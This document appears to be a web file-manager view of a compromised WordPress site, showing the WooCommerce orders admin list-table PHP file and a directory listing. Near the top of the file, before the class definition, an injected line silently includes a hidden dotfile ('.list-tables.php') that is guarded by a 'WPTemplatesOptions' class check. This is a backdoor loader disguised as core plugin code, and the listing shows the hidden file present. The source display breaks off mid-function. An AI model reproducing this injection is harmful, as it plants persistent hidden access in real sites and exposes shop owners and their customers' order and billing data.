PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
woocommerce2
/
includes
/
admin
/
list-tables
<?php /** * List tables: orders. * * @package WooCommerce\admin * @version 3.3.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; } if ( class_exists( 'WC_Admin_List_Table_Orders', false ) ) { return; } if ( ! class_exists( 'WC_Admin_List_Table', false ) ) { include_once 'abstract-class-wc-admin-list-table.php'; } /** * WC_Admin_List_Table_Orders Class. */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class WC_Admin_List_Table_Orders extends WC_Admin_List_Table { /** * Post type. * * @var string */ protected $list_table_type = 'shop_order'; /** * Constructor. */ public function __construct() { parent::__construct(); add_action( 'admin_notices', array( $this, 'bulk_admin_notices' ) ); add_action( 'admin_footer', array( $this, 'order_preview_template' ) ); add_filter( 'get_search_query', array( $this, 'search_label' ) ); add_filter( 'query_vars', array( $this, 'add_custom_query_var' ) ); add_action( 'parse_query', array( $this, 'search_custom_fields' ) ); } /** * Render blank state. */ protected function render_blank_state() { echo '<div class="woocommerce-BlankState">'; echo '<h2 class="woocommerce-BlankState-message">' . esc_html__( 'When you receive a new order, it will appear here.', 'woocommerce' ) . '</h2>'; echo '<div class="woocommerce-BlankState-buttons">'; echo '<a class="woocommerce-BlankState-cta button-primary button" target="_blank" href="https://docs.woocommerce.com/document/managing-orders/?utm_source=blankslate&utm_medium=product&utm_content=ordersdoc&utm_campaign=woocommerceplugin">' . esc_html__( 'Learn more about orders', 'woocommerce' ) . '</a>'; echo '</div>'; do_action( 'wc_marketplace_suggestions_orders_empty_state' ); echo '</div>'; } /** * Define primary column. * * @return string */ protected function get_primary_column() { return 'order_number'; } /** * Get row actions to show in the list table. * * @param array $actions Array of actions. * @param WP_Post $post Current post object. * @return array */ protected function get_row_actions( $actions, $post ) { return array(); } /** * Define hidden columns. * * @return array */ protected function define_hidden_columns() { return array( 'shipping_address', 'billing_address', 'wc_actions', ); } /** * Define which columns are sortable. * * @param array $columns Existing columns. * @return array */ public function define_sortable_columns( $columns ) { $custom = array( 'order_number' => 'ID', 'order_total' => 'order_total', 'order_date' => 'date', ); unset( $columns['comments'] ); return wp_parse_args( $custom, $columns ); } /** * Define which columns to show on this screen. * * @param array $columns Existing columns. * @return array */ public function define_columns( $columns ) { $show_columns = array(); $show_columns['cb'] = $columns['cb']; $show_columns['order_number'] = __( 'Order', 'woocommerce' ); $show_columns['order_date'] = __( 'Date', 'woocommerce' ); $show_columns['order_status'] = __( 'Status', 'woocommerce' ); $show_columns['billing_address'] = __( 'Billing', 'woocommerce' ); $show_columns['shipping_address'] = __( 'Ship to', 'woocommerce' ); $show_columns['order_total'] = __( 'Total', 'woocommerce' ); $show_columns['wc_actions'] = __( 'Actions', 'woocommerce' ); wp_enqueue_script( 'wc-orders' ); return $show_columns; } /** * Define bulk actions. * * @param array $actions Existing actions. * @return array */ public function define_bulk_actions( $actions ) { if ( isset( $actions['edit'] ) ) { unset( $actions['edit'] ); } $actions['mark_processing'] = __( 'Change status to processing', 'woocommerce' ); $actions['mark_on-hold'] = __( 'Change status to on-hold', 'woocommerce' ); $actions['mark_completed'] = __( 'Change status to completed', 'woocommerce' ); if ( wc_string_to_bool( get_option( 'woocommerce_allow_bulk_remove_personal_data', 'no' ) ) ) { $actions['remove_personal_data'] = __( 'Remove personal data', 'woocommerce' ); } return $actions; } /** * Pre-fetch any data for the row each column has access to it. the_order global is there for bw compat. * * @param int $post_id Post ID being shown. */ protected function prepare_row_data( $post_id ) { global $the_order; if ( empty( $this->object ) || $this->object->get_id() !== $post_id ) { $this->object = wc_get_order( $post_id ); $the_order = $this->object; } } /** * Render columm: order_number. */ protected function render_order_number_column() { $buyer = ''; if ( $this->object->get_billing_first_name() || $this->object->get_billing_last_name() ) { /* translators: 1: first name 2: last name */ $buyer = trim( sprintf( _x( '%1$s %2$s', 'full name', 'woocommerce' ), $this->object->get_billing_first_name(), $this->object->get_billing_last_name() ) ); } elseif ( $this->object->get_billing_company() ) { $buyer = trim( $this->object->get_billing_company() ); } elseif ( $this->object->get_customer_id() ) { $user = get_user_by( 'id', $this->object->get_customer_id() ); $buyer = ucwords( $user->display_name ); } /** * Filter buyer name in list table orders. * * @since 3.7.0 * @param string $buyer Buyer name. * @param WC_Order $order Order data. */ $buyer = apply_filters( 'woocommerce_admin_order_buyer_name', $buyer, $this->object ); if ( $this->object->get_status() === 'trash' ) { echo '<strong>#' . esc_attr( $this->object->get_order_number() ) . ' ' . esc_html( $buyer ) . '</strong>'; } else { echo '<a href="#" class="order-preview" data-order-id="' . absint( $this->object->get_id() ) . '" title="' . esc_attr( __( 'Preview', 'woocommerce' ) ) . '">' . esc_html( __( 'Preview', 'woocommerce' ) ) . '</a>'; echo '<a href="' . esc_url( admin_url( 'post.php?post=' . absint( $this->object->get_id() ) ) . '&action=edit' ) . '" class="order-view"><strong>#' . esc_attr( $this->object->get_order_number() ) . ' ' . esc_html( $buyer ) . '</strong></a>'; } } /** * Render columm: order_status. */ protected function render_order_status_column() { $tooltip = ''; $comment_count = get_comment_count( $this->object->get_id() ); $approved_comments_count = absint( $comment_count['approved'] ); if ( $approved_comments_count ) { $latest_notes = wc_get_order_notes( array( 'order_id' => $this->object->get_id(), 'limit' => 1, 'orderby' => 'date_created_gmt', ) ); $latest_note = current( $latest_notes ); if ( isset( $latest_note->content ) && 1 === $approved_comments_count ) { $tooltip = wc_sanitize_tooltip( $latest_note->content ); } elseif ( isset( $latest_note->content ) ) { /* translators: %d: notes count */ $tooltip = wc_sanitize_tooltip( $latest_note->content . '<br/><small style="display:block">' . sprintf( _n( 'Plus %d other note', 'Plus %d other notes', ( $approved_comments_count - 1 ), 'woocommerce' ), $approved_comments_count - 1 ) . '</small>' ); } else { /* translators: %d: notes count */ $tooltip = wc_sanitize_tooltip( sprintf( _n( '%d note', '%d notes', $approved_comments_count, 'woocommerce' ), $approved_comments_count ) ); } } if ( $tooltip ) { printf( '<mark class="order-status %s tips" data-tip="%s"><span>%s</span></mark>', esc_attr( sanitize_html_class( 'status-' . $this->object->get_status() ) ), wp_kses_post( $tooltip ), esc_html( wc_get_order_status_name( $this->object->get_status() ) ) ); } else { printf( '<mark class="order-status %s"><span>%s</span></mark>', esc_attr( sanitize_html_class( 'status-' . $this->object->get_status() ) ), esc_html( wc_get_order_status_name( $this->object->get_status() ) ) ); } } /** * Render columm: order_date. */ protected function render_order_date_column() { $order_timestamp = $this->object->get_date_created() ? $this->object->get_date_created()->getTimestamp() : ''; if ( ! $order_timestamp ) { echo '–'; return; } // Check if the order was created within the last 24 hours, and not in the future. if ( $order_timestamp > strtotime( '-1 day', time() ) && $order_timestamp <= time() ) { $show_date = sprintf( /* translators: %s: human-readable time difference */ _x( '%s ago', '%s = human-readable time difference', 'woocommerce' ), human_time_diff( $this->object->get_date_created()->getTimestamp(), time() ) ); } else { $show_date = $this->object->get_date_created()->date_i18n( apply_filters( 'woocommerce_admin_order_date_format', __( 'M j, Y', 'woocommerce' ) ) ); } printf( '<time datetime="%1$s" title="%2$s">%3$s</time>', esc_attr( $this->object->get_date_created()->date( 'c' ) ), esc_html( $this->object->get_date_created()->date_i18n( get_option( 'date_format' ) . ' ' . get_option( 'time_format' ) ) ), esc_html( $show_date ) ); } /** * Render columm: order_total. */ protected function render_order_total_column() { if ( $this->object->get_payment_method_title() ) { /* translators: %s: method */ echo '<span class="tips" data-tip="' . esc_attr( sprintf( __( 'via %s', 'woocommerce' ), $this->object->get_payment_method_title() ) ) . '">' . wp_kses_post( $this->object->get_formatted_order_total() ) . '</span>'; } else { echo wp_kses_post( $this->object->get_formatted_order_total() ); } } /** * Render columm: wc_actions. */ protected function render_wc_actions_column() { echo '<p>'; do_action( 'woocommerce_admin_order_actions_start', $this->object ); $actions = array(); if ( $this->object->has_status( array( 'pending', 'on-hold' ) ) ) { $actions['processing'] = array( 'url' => wp_nonce_url( admin_url( 'admin-ajax.php?action=woocommerce_mark_order_status&status=processing&order_id=' . $this->object->get_id() ), 'woocommerce-mark-order-status' ), 'name' => __( 'Processing', 'woocommerce' ), 'action' => 'processing', ); } if ( $this->object->has_status( array( 'pending', 'on-hold', 'processing' ) ) ) { $actions['complete'] = array( 'url' => wp_nonce_url( admin_url( 'admin-ajax.php?action=woocommerce_mark_order_status&status=completed&order_id=' . $this->object->get_id() ), 'woocommerce-mark-order-status' ), 'name' => __( 'Complete', 'woocommerce' ), 'action' => 'complete', ); } $actions = apply_filters( 'woocommerce_admin_order_actions', $actions, $this->object ); echo wc_render_action_buttons( $actions ); // WPCS: XSS ok. do_action( 'woocommerce_admin_order_actions_end', $this->object ); echo '</p>'; } /** * Render columm: billing_address. */ protected function render_billing_address_column() { $address = $this->object->get_formatted_billing_address(); if ( $address ) { echo esc_html( preg_replace( '#<br\s*/?>#i', ', ', $address ) ); if ( $this->object->get_payment_method() ) { /* translators: %s: payment method */ echo '<span class="description">' . sprintf( __( 'via %s', 'woocommerce' ), esc_html( $this->object->get_payment_method_title() ) ) . '</span>'; // WPCS: XSS ok. } } else { echo '–'; } } /** * Render columm: shipping_address. */ protected function render_shipping_address_column() { $address = $this->object->get_formatted_shipping_address(); if ( $address ) { echo '<a target="_blank" href="' . esc_url( $this->object->get_shipping_address_map_url() ) . '">' . esc_html( preg_replace( '#<br\s*/?>#i', ', ', $address ) ) . '</a>'; if ( $this->object->get_shipping_method() ) { /* translators: %s: shipping method */ echo '<span class="description">' . sprintf( __( 'via %s', 'woocommerce' ), esc_html( $this->object->get_shipping_method() ) ) . '</span>'; // WPCS: XSS ok. } } else { echo '–'; } } /** * Template for order preview. * * @since 3.3.0 */ public function order_preview_template() { ?> <script type="text/template" id="tmpl-wc-modal-view-order"> <div class="wc-backbone-modal wc-order-preview"> <div class="wc-backbone-modal-content"> <section class="wc-backbone-modal-main" role="main"> <header class="wc-backbone-modal-header"> <mark class="order-status status-{{ data.status }}"><span>{{ data.status_name }}</span></mark> <?php /* translators: %s: order ID */ ?> <h1><?php echo esc_html( sprintf( __( 'Order #%s', 'woocommerce' ), '{{ data.order_number }}' ) ); ?></h1> <button class="modal-close modal-close-link dashicons dashicons-no-alt"> <span class="screen-reader-text"><?php esc_html_e( 'Close modal panel', 'woocommerce' ); ?></span> </button> </header> <article> <?php do_action( 'woocommerce_admin_order_preview_start' ); ?> <div class="wc-order-preview-addresses"> <div class="wc-order-preview-address"> <h2><?php esc_html_e( 'Billing details', 'woocommerce' ); ?></h2> {{{ data.formatted_billing_address }}} <# if ( data.data.billing.email ) { #> <strong><?php esc_html_e( 'Email', 'woocommerce' ); ?></strong> <a href="mailto:{{ data.data.billing.email }}">{{ data.data.billing.email }}</a> <# } #> <# if ( data.data.billing.phone ) { #> <strong><?php esc_html_e( 'Phone', 'woocommerce' ); ?></strong> <a href="tel:{{ data.data.billing.phone }}">{{ data.data.billing.phone }}</a> <# } #> <# if ( data.payment_via ) { #> <strong><?php esc_html_e( 'Payment via', 'woocommerce' ); ?></strong> {{{ data.payment_via }}} <# } #> </div> <# if ( data.needs_shipping ) { #> <div class="wc-order-preview-address"> <h2><?php esc_html_e( 'Shipping details', 'woocommerce' ); ?></h2> <# if ( data.ship_to_billing ) { #> {{{ data.formatted_billing_address }}} <# } else { #> <a href="{{ data.shipping_address_map_url }}" target="_blank">{{{ data.formatted_shipping_address }}}</a> <# } #> <# if ( data.shipping_via ) { #> <strong><?php esc_html_e( 'Shipping method', 'woocommerce' ); ?></strong> {{ data.shipping_via }} <# } #> </div> <# } #> <# if ( data.data.customer_note ) { #> <div class="wc-order-preview-note"> <strong><?php esc_html_e( 'Note', 'woocommerce' ); ?></strong> {{ data.data.customer_note }} </div> <# } #> </div> {{{ data.item_html }}} <?php do_action( 'woocommerce_admin_order_preview_end' ); ?> </article> <footer> <div class="inner"> {{{ data.actions_html }}} <a class="button button-primary button-large" aria-label="<?php esc_attr_e( 'Edit this order', 'woocommerce' ); ?>" href="<?php echo esc_url( admin_url( 'post.php?action=edit' ) ); ?>&post={{ data.data.id }}"><?php esc_html_e( 'Edit', 'woocommerce' ); ?></a> </div> </footer> </section> </div> </div> <div class="wc-backbone-modal-backdrop modal-close"></div> </script> <?php } /** * Get items to display in the preview as HTML. * * @param WC_Order $order Order object. * @return string */ public static function get_order_preview_item_html( $order ) { $hidden_order_itemmeta = apply_filters( 'woocommerce_hidden_order_itemmeta', array( '_qty', '_tax_class', '_product_id', '_variation_id', '_line_subtotal', '_line_subtotal_tax', '_line_total', '_line_tax', 'method_id', 'cost', '_reduced_stock', ) ); $line_items = apply_filters( 'woocommerce_admin_order_preview_line_items', $order->get_items(), $order ); $columns = apply_filters( 'woocommerce_admin_order_preview_line_item_columns', array( 'product' => __( 'Product', 'woocommerce' ), 'quantity' => __( 'Quantity', 'woocommerce' ), 'tax' => __( 'Tax', 'woocommerce' ), 'total' => __( 'Total', 'woocommerce' ), ), $order ); if ( ! wc_tax_enabled() ) { unset( $columns['tax'] ); } $html = ' <div class="wc-order-preview-table-wrapper"> <table cellspacing="0" class="wc-order-preview-table"> <thead> <tr>'; foreach ( $columns as $column => $label ) {
[+]
..
[-] class-wc-admin-list-table-coupons.php
[edit]
[-] class-wc-admin-list-table-orders.php
[edit]
[-] .list-tables.php
[edit]
[-] class-wc-admin-list-table-products.php
[edit]
[-] abstract-class-wc-admin-list-table.php
[edit]